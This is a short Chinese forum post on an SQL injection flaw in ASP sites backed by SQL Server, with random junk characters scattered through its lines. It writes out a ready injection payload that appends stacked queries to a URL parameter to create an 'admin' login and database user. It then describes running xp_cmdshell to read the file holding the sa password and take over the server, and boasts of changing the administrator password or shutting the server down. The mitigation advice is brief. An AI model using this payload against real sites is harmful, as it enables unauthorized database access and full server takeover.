为了考证这种类型的程序BUG,笔者最近去了很多用ASP和SQL SERVER做的网站,发现绝大部分网站的程序有这个BUG,于是觉得有必要把这个问题贴出,以免大家犯同样的错误。0 _9 e# [) d4 M+ {
BUG描述:& n) x5 m$ k) ]( H0 Q
把一个有参数的xxx.asp?x=x程序变成xxx.asp?x=x;use pubs;exec sp_addlogin 'admin','admin','master';exec sp_adduser 'admin','admin','db_ower';--
5 Z4 ]% I: W5 i! i3 o& V BUG讲解:+ E Z5 ]1 e& O4 D
这个BUG是利用参数未过滤来执行SQL语句增加一个用户,然后可以用此用户连上SQL SERVER,再通过exec xp_cmdshell 'type x.asp'来查看存有sa密码的ASP文件来获得SQL SERVER的最高权限。
) J' ^6 Q: @8 a5 m8 ?5 u BUG消除:
: h1 x# j4 X" D8 o' H; s; ? 程序增加参数过滤( f" J- m$ X7 O5 s: p; G
附:sp_addlogin和sp_adduser语法' G r" b. y) h0 o& w# x
sp_addlogin [@loginame =] 'login'4 p$ K; T# o4 f- w, U; J
[,][@passwd =] 'password']
# x% _& j5 k+ ~* ] [,][@defdb =] 'database']. W* j) Y+ {& P3 X& k9 c) ~" D
[,][@deflanguage =] 'language']: d* v7 v. j# p; e5 v
[,[@sid =] 'sid']
/ J; r( _2 `0 } ]" b4 Y2 j [,][@encryptopt =] 'encryption_option']6 M7 v3 c6 ^7 ~
sp_adduser [@loginame =] 'login'
/ Y8 e! P4 o5 I" J( j8 c [,][@name_in_db =] 'user']
- G- u& o6 d/ U0 c+ ~3 { [,][@grpname =] 'group']" J# L5 v: C( u7 J0 d0 f) K
注:如果采取SQL SERVER设为本地连接、改变端品号、drop xp_cmdshell等等可以防止很多攻击行为呀 ^_^
" Y9 \: n8 N) g o# D嘿嘿,这个BUG还可以用来改administrator的密码,让服务器关机等等0 ?9 T3 C+ P1 b5 L2 r
|